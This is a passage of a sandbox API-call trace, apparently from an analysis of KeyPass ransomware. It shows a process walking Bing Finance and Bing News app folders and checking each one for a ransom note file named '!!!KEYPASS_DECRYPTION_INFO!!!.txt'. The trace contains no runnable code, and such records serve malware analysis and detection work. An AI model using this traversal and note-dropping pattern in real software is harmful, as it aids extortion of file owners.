Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.531] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.532] GetLastError () returned 0x5 [0289.532] GetLastError () returned 0x5 [0289.532] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.532] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.532] GetLastError () returned 0x3f0 [0289.532] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.532] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.534] GetLastError () returned 0x5 [0289.534] GetLastError () returned 0x5 [0289.534] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.534] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.534] GetLastError () returned 0x3f0 [0289.534] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.534] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.540] GetLastError () returned 0x5 [0289.540] GetLastError () returned 0x5 [0289.540] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.540] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.540] GetLastError () returned 0x3f0 [0289.540] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.540] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.541] GetLastError () returned 0x5 [0289.541] GetLastError () returned 0x5 [0289.541] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.541] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.541] GetLastError () returned 0x3f0 [0289.541] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.541] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.541] GetLastError () returned 0x5 [0289.541] GetLastError () returned 0x5 [0289.542] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.543] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.543] GetLastError () returned 0x3f0 [0289.543] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.543] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.544] GetLastError () returned 0x5 [0289.544] GetLastError () returned 0x5 [0289.544] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.544] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.544] GetLastError () returned 0x3f0 [0289.544] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.544] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.545] GetLastError () returned 0x5 [0289.545] GetLastError () returned 0x5 [0289.545] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.545] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.545] GetLastError () returned 0x3f0 [0289.545] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.545] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.545] GetLastError () returned 0x5 [0289.545] GetLastError () returned 0x5 [0289.545] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.545] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.545] GetLastError () returned 0x3f0 [0289.545] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.545] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.546] GetLastError () returned 0x5 [0289.546] GetLastError () returned 0x5 [0289.546] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.546] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.546] GetLastError () returned 0x3f0 [0289.546] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.546] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.547] GetLastError () returned 0x5 [0289.547] GetLastError () returned 0x5 [0289.547] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.547] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.547] GetLastError () returned 0x3f0 [0289.547] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.547] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.548] GetLastError () returned 0x5 [0289.548] GetLastError () returned 0x5 [0289.548] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.548] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.548] GetLastError () returned 0x3f0 [0289.548] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.548] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.549] GetLastError () returned 0x5 [0289.549] GetLastError () returned 0x5 [0289.549] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.550] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.550] GetLastError () returned 0x3f0 [0289.550] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.550] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.550] GetLastError () returned 0x5 [0289.550] GetLastError () returned 0x5 [0289.550] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.550] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.550] GetLastError () returned 0x3f0 [0289.550] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.550] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.551] GetLastError () returned 0x5 [0289.553] GetLastError () returned 0x5 [0289.553] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.553] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.553] GetLastError () returned 0x3f0 [0289.553] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.553] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.554] GetLastError () returned 0x5 [0289.554] GetLastError () returned 0x5 [0289.554] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.554] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.554] GetLastError () returned 0x3f0 [0289.554] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\_Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\_Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.554] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\_Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.554] GetLastError () returned 0x5 [0289.554] GetLastError () returned 0x5 [0289.554] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.554] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.554] GetLastError () returned 0x3f0 [0289.554] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.554] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.570] GetLastError () returned 0x5 [0289.570] GetLastError () returned 0x5 [0289.571] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.571] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.571] GetLastError () returned 0x3f0 [0289.571] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.571] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.571] GetLastError () returned 0x5 [0289.571] GetLastError () returned 0x5 [0289.572] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.572] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.572] GetLastError () returned 0x3f0 [0289.572] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.572] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.572] GetLastError () returned 0x5 [0289.572] GetLastError () returned 0x5 [0289.572] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.573] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.573] GetLastError () returned 0x3f0 [0289.573] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.573] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.576] GetLastError () returned 0x5 [0289.576] GetLastError () returned 0x5 [0289.576] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.576] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.576] GetLastError () returned 0x3f0 [0289.576] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.576] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.577] GetLastError () returned 0x5 [0289.577] GetLastError () returned 0x5 [0289.577] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.577] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.577] GetLastError () returned 0x3f0 [0289.577] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.577] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.578] GetLastError () returned 0x5 [0289.578] GetLastError () returned 0x5 [0289.578] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.578] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.578] GetLastError () returned 0x3f0 [0289.578] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.578] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.583] GetLastError () returned 0x5 [0289.583] GetLastError () returned 0x5 [0289.583] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.583] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.583] GetLastError () returned 0x3f0 [0289.583] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Configuration\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.584] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.584] GetLastError () returned 0x5 [0289.584] GetLastError () returned 0x5 [0289.584] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.584] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, 